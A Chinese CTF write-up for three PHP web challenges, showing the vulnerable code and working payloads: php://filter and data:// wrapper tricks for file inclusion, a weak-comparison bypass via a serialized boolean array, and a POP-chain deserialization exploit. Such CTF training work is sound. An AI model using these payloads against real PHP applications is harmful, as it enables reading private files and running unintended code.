[ZJCTF 2019]NiZhuanSiWei、[HUBUCTF 2022 新生赛]checkin、[SWPUCTF 2021 新生赛]pop

news2024/10/6 19:27:07

目录

[ZJCTF 2019]NiZhuanSiWei

[HUBUCTF 2022 新生赛]checkin

1.PHP 关联数组      PHP 数组 | 菜鸟教程

2.PHP 弱比较绕过        PHP 类型比较 | 菜鸟教程

[SWPUCTF 2021 新生赛]pop


[ZJCTF 2019]NiZhuanSiWei

BUUCTF [ZJCTF 2019]NiZhuanSiWei特详解(php伪协议+序列化与反序列化)-CSDN博客

代码审计

<?php  
// 获取GET请求中的text、file和password参数
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];

// 检查text参数是否设置,并且其内容是否等于"welcome to the zjctf"
if(isset($text) && (file_get_contents($text,'r')==="welcome to the zjctf")){
    // 如果条件满足,则输出text的内容
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    
    // 检查file参数是否包含字符串"flag"
    if(preg_match("/flag/",$file)){
        // 如果包含"flag",则输出"Not now!"并停止执行
        echo "Not now!";
        exit(); 
    }else{
        // 如果不包含"flag",则包含指定的文件(例如:useless.php)
        include($file);  //useless.php
        
        // 将password参数反序列化
        $password = unserialize($password);
        
        // 输出反序列化后的password值
        echo $password;
    }
}
else{
    // 如果text参数未设置或其内容不等于"welcome to the zjctf",则高亮显示当前脚本的源代码
    highlight_file(__FILE__);
}
?>

第一层:

PHP file_get_contents() 函数

file_get_contents() 把整个文件读入一个字符串中。

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

GET传参text,内容为welcome to the zjctf。可使用date://协议(或POST传参php:input//协议)

GTE传参text:

?text=data://text/plain,welcome to the zjctf

第二层:

正则过滤了flag字符串,直接访问/useless.php依然为开始的代码

可使用php://filter   读取源代码并进行base64编码输出。

GET传参file:

php://filter/convert.base64-encode/resource=文件路径

file=php://filter/convert.base64-encode/resource=useless.php

得到一段base64编码,解码得到一段php代码

<?php  

class Flag{  //flag.php(注释存在flag.php)           //定义名为Flag的类
    public $file;                                    //公共属性 file
    public function __tostring(){                    //魔术方法,把对象当成字符串调用时触发
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

第三层:进行序列化操作

<?php  
class Flag
{
    public $file='flag.php';
}  
$a=new Flag();
echo serialize($a);
?>

GET传参password:

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//最终payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源代码得到flag

[HUBUCTF 2022 新生赛]checkin

[HUBUCTF 2022 新生赛]checkin-CSDN博客

代码审计

<?php
// 显示当前文件的源代码
show_source(__FILE__);

// 定义用户名和密码
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 

// 包含flag.php文件,这里我修改了那两个值
include("flag.php");//here I changed those two

// 获取名为'info'的GET参数,如果不存在则默认为空字符串
$info = isset($_GET['info']) ? $_GET['info'] : "";

// 对获取的信息进行反序列化
$data_unserialize = unserialize($info);

// 检查反序列化后的数据中的用户名和密码是否与定义的用户名和密码匹配
if ($data_unserialize['username'] == $username && $data_unserialize['password'] == $password) {
    // 如果匹配,显示flag
    echo $flag;
} else {
    // 如果不匹配,显示错误消息
    echo "username or password error!";
}
?>

1.PHP 关联数组      PHP 数组 | 菜鸟教程

在 PHP 中,array() 函数用于创建数组

1.array()函数:采用以逗号分隔的键值对列表。每个键值对都写为键 => 值,其中键是字符串键,值是与键关联的值。

$student = array(
    "name" => "line",
    "age" => 100,
    "stream" => "Computer Science"
);

2.方括号表示法:定义数组,然后使用方括号表示法为其分配键值对。

$student["name"] = "line";
$student["age"] = 100;
$student["major"] = "Computer Science";

2.PHP 弱比较绕过        PHP 类型比较 | 菜鸟教程

在 PHP 弱比较时会发生类型转换,若一端为布尔类型,另一端为其他类型,在转换时会将其他类型转换为布尔类型。 在转换的时候,非 0 为 true ,0 为 false 。

第一层:用户名和密码先被修改了,可用关联数组重新定义。

第二层:检查反序列化后的用户名和密码时使用了==若比较,故可将数组中的值全部设置为布尔值 true。

构造代码:

<?php
$info=array("username"=>true,"password"=>true);
echo serialize($info);
?>

构造payload,得到flag:

?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

[SWPUCTF 2021 新生赛]pop

[SWPUCTF 2021 新生赛]pop    (不是很会这个题,多学习)

打开环境,这是一个pop链  包含w44m、w22m、w33m三个类

<?php
error_reporting(0); // 关闭所有错误报告
show_source("index.php"); // 显示index.php文件的源代码,这可能是为了调试目的

// 定义一个名为w44m的类,它有两个私有属性:admin和passwd
class w44m{
    private $admin = 'aaa'; // admin属性的默认值是'aaa'
    protected $passwd = '123456'; // passwd属性的默认值是'123456'

    // Getflag方法用于检查admin和passwd的值是否匹配,如果是则包含flag.php文件并输出$flag
    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin; // 输出admin的值
            echo $this->passwd; // 输出passwd的值
            echo 'nono'; // 输出字符串'nono'
        }
    }
}

// 定义一个名为w22m的类,它有一个公共属性w00m
class w22m{
    public $w00m;
    // __destruct魔术方法在对象被销毁时调用,这里只是简单地输出w00m的值
    public function __destruct(){
        echo $this->w00m;
    }
}

// 定义一个名为w33m的类,它有两个公共属性w00m和w22m
class w33m{
    public $w00m;
    public $w22m;
    // __toString魔术方法在对象被当作字符串时调用,这里调用了w00m对象的w22m属性所指向的方法
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

// 通过GET请求获取名为w00m的参数,并将它的值反序列化成一个对象
$w00m = $_GET['w00m'];
unserialize($w00m);
?>

第一层:需要构造pop链,w44m类里面的Getflag()函数可以用来读取flag,因此将它作为pop链的尾部。

第二层:w33m类中,$this->w00m->{$this->w22m}();能调用函数

      所以需要给$w00m赋一个w44m类,然后再给$w22m赋一个Getflag(),就能成功调用该函数。

第三层:__toString魔术方法在对象被当作字符串时调用,w22m类中echo $this->w00m;使用了__destruct()类的析构函数,对象被销毁时触发。

所以要给w00m赋一个w33m类,就能调用w33m类。

构造代码:

<?php
class w44m{
    private $admin='w44m';
    protected $passwd='08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

$a=new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag';

echo urlencode(serialize($a));
?>

构造payload,得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1795938.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

推荐个 Edge/Chrome/Firefox 都支持的 IP 定位查询扩展

作为一个博客站长&#xff0c;对 IP 地址应该都不陌生&#xff0c;可以说是跟站长的工作是息息相关的&#xff0c;反正明月几乎每天都会面临 IP 查询、定位的需要&#xff0c;今天让明月给找到了一个叫”IP 定位查询“的浏览器扩展&#xff0c;在 Edge 和 Firefox 下体验后感觉…

新奇css模板

引言 (csscoco.com)https://csscoco.com/inspiration/#/./init 可视化集合 (hepengwei.cn)http://hepengwei.cn/#/html/visualDesign 30 秒代码 (30secondsofcode.org)https://www.30secondsofcode.org/ Animate.css |CSS动画的跨浏览器库。https://animate.style/

springboot+vue+mybatis房屋租贷系统+PPT+论文+讲解+售后

本论文系统地描绘了整个网上房屋租赁系统的设计与实现&#xff0c;主要实现的功能有以下几点&#xff1a;管理员&#xff1b;首页、个人中心、房屋类型管理、房屋租赁管理、会员管理、订单信息管理、合同信息管理、退房评价管理、管理员管理&#xff0c;系统管理&#xff0c;前…

基于SSM前后端分离版本的论坛系统-自动化测试

目录 前言 一、测试环境 二、环境部署 三、测试用例 四、执行测试 4.1、公共类设计 创建浏览器驱动对象 测试套件 释放驱动类 4.2、功能测试 注册页面 登录页面 版块 帖子 用户个人中心页 站内信 4.3、界面测试 注册页面 登录页面 版块 帖子 用户个人中心页…

【Python】教你彻底了解 Python中的文件处理

​​​​ 文章目录 一、文件的打开与关闭1. 打开文件2. 关闭文件3. 文件模式 二、文件的读写操作1. 读取文件内容2. 写入文件内容 三、使用上下文管理器四、异常处理五、二进制文件操作1. 读取二进制文件2. 写入二进制文件 六、实际应用示例1. 处理CSV文件2. 处理JSON文件 结论…

如何学习使用淘宝API?淘宝API运营场景

学习使用淘宝API涉及对其功能、分类、调用方法及实际应用的综合理解。下面按部分详细解释如何系统地学习和掌握淘宝API的使用&#xff1a; 淘宝API接口入门 了解淘宝开放平台&#xff1a;淘宝开放平台为开发者提供了一个可以与淘宝数据进行交互的平台&#xff0c;涵盖了丰富的A…

信息学奥赛初赛天天练-21-完善程序-动态规划、编辑距离与字符数组应用的极致探索

PDF文档公众号回复关键字:20240606 1 2023 CSP-J 完善程序2 完善程序&#xff08;单选题&#xff0c;每小题 3 分&#xff0c;共计 30 分&#xff09; 给定两个字符串&#xff0c;每次操作可以选择删除&#xff08;Delete&#xff09;、插入&#xff08;Insert&#xff09;…

NextJs 实现自定义点火操作

NextJs 实现自定义点火操作 前言实现自定义点火 前言 我希望在Nextjs 启动的时候&#xff0c;能够自定义实现一些项目的初始化逻辑&#xff0c;也可以说是一些点火操作&#xff0c;比如资源的加载&#xff0c;数据的初始化等操作。 实现自定义点火 我们可以在根目录下创建一…

MySQL 存储过程(二)

本篇继续介绍MySQL存储过程的相关内容。 目录 一、if语句 二、case 三、循环语句 while loop repeat 一、if语句 在存储过程中&#xff0c;可以使用if语句进行条件判断&#xff0c;其语法结构如下&#xff1a; if 判断语句 then 逻辑语句..... elseif 判断语句 then 逻…

Vulnhub-DC-2

靶机IP:192.168.20.135 网络有问题的可以看下搭建Vulnhub靶机网络问题(获取不到IP) kaliIP:192.168.20.128 扫描靶机端口及服务版本 发现开放了80和7744端口 并且是wordpress建站 dirsearch扫描目录 访问前端界面&#xff0c;发现存在重定向 在hosts文件中增加192.168.2…

英伟达再创历史,市值超越苹果,跃居全球第二大上市公司

进入2024年&#xff0c;英伟达股价依然突飞猛进。 今天凌晨&#xff0c;英伟达凭借其在AI领域强劲的创新能力和市场势头&#xff0c;达成了历史性的里程碑——市值首次突破3万亿美元&#xff0c;成功超越苹果&#xff0c;成为全球市值第二大上市公司。 排名仅次于微软。 英伟达…

[职场] 项目助理需具备的能力素养有哪些? #笔记#知识分享#经验分享

项目助理需具备的能力素养有哪些&#xff1f; 项目助理是一个关键的职位&#xff0c;他们在项目的执行过程中扮演着重要的角色。为了胜任这个职位&#xff0c;项目助理需要具备一系列的能力素养。以下是项目助理需具备的能力素养的详细介绍。 1. 组织能力&#xff1a;项目助理需…

OpenCV学习(4.4) 平滑图像

1.目的 在本教程中将学习&#xff1a; 用各种低通滤波器模糊图像。对图像应用自定义过滤器&#xff08;二维卷积&#xff09;。 在图像处理中&#xff0c;平滑图像是一种去噪和模糊技术&#xff0c;用于减少图像中的噪声和细节&#xff0c;使得图像看起来更加平滑。平滑处理…

泛型基础及深入

泛型深入 泛型定义&#xff1a; JDK5引入的特性&#xff0c;可以在编译阶段约束操作的数据类型&#xff0c;并进行检查 泛型格式&#xff1a; <数据类型> 注意&#xff1a;泛型只能支持引用数据类型 优势&#xff1a; 统一数据类型&#xff1b; 把运行时期的问题提前到…

AI大模型语料库

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl 语料库概述 语料库&#xff08;Corpus&#xff09;是一个存储了大量真实语言使用实例的集合&#xff0c;这些实例可以是文本、语音、视频等多种形式的语言数据。语料库通常…

精益管理|AIRIOT智慧变电站管理解决方案

随着社会电气化进程的加速&#xff0c;电力需求与日俱增&#xff0c;变电站作为电网的关键节点&#xff0c;其稳定性和智能化管理水平直接关系到整个电力系统的高效运作。传统变电站管理平台难以适应现代电力系统复杂管理需求&#xff0c;存在如下痛点&#xff1a; 数据收集与…

Java集合的迭代操作,Set Map接口以及工具类方法

1、集合元素迭代 1.1 集合元素遍历 集合的遍历&#xff1a;把集合中的每一个元素获取出来 使用for遍历 使用迭代器遍历 Iterator表示迭代器对象&#xff0c;迭代器中拥有一个指针&#xff0c;默认指向第一个元素之前&#xff0c; . boolean hasNext()&#xff1a;判断指针后是…

Go语言升级1.22.0版本VSCode启动调试报 Version of Go is too old for this version of Delve

因为项目中调用了其它同事的服务&#xff0c;该服务同事的Go环境是1.22.0&#xff0c;我本地go环境是Go1.20.6&#xff0c;不得已也升级了go的版本到1.22.0&#xff0c;其实升级很简单&#xff0c;只需要去go官网下载windows环境的zip包&#xff0c;把原来配置的环境变量GOROOT…

AI全自动批量剪辑软件,一天剪辑3000条原创视频不是梦【剪辑软件+全套教程】

创建一个AI全自动批量剪辑软件的简易程序涉及较为复杂的视频处理和机器学习技术&#xff0c;而且由于这是一个相当高级的任务&#xff0c;通常需要大量的代码以及深度学习框架支持。不过&#xff0c;我可以为您提供一个非常基础版本的程序示例&#xff0c;它会用Python的moviep…

$MPC 登录MEXC,加速Partisia Blockchain 生态市场进程

Partisia Blockchain是一个以MPC技术方案为基础&#xff0c;具备可审计特性的隐私Layer1生态&#xff0c;与此同时&#xff0c;该链通过系列创新的系统架构&#xff0c;能够兼顾高迸发、安全、可拓展性以及可互操作特性。基于系列技术特性&#xff0c;Partisia Blockchain正在构…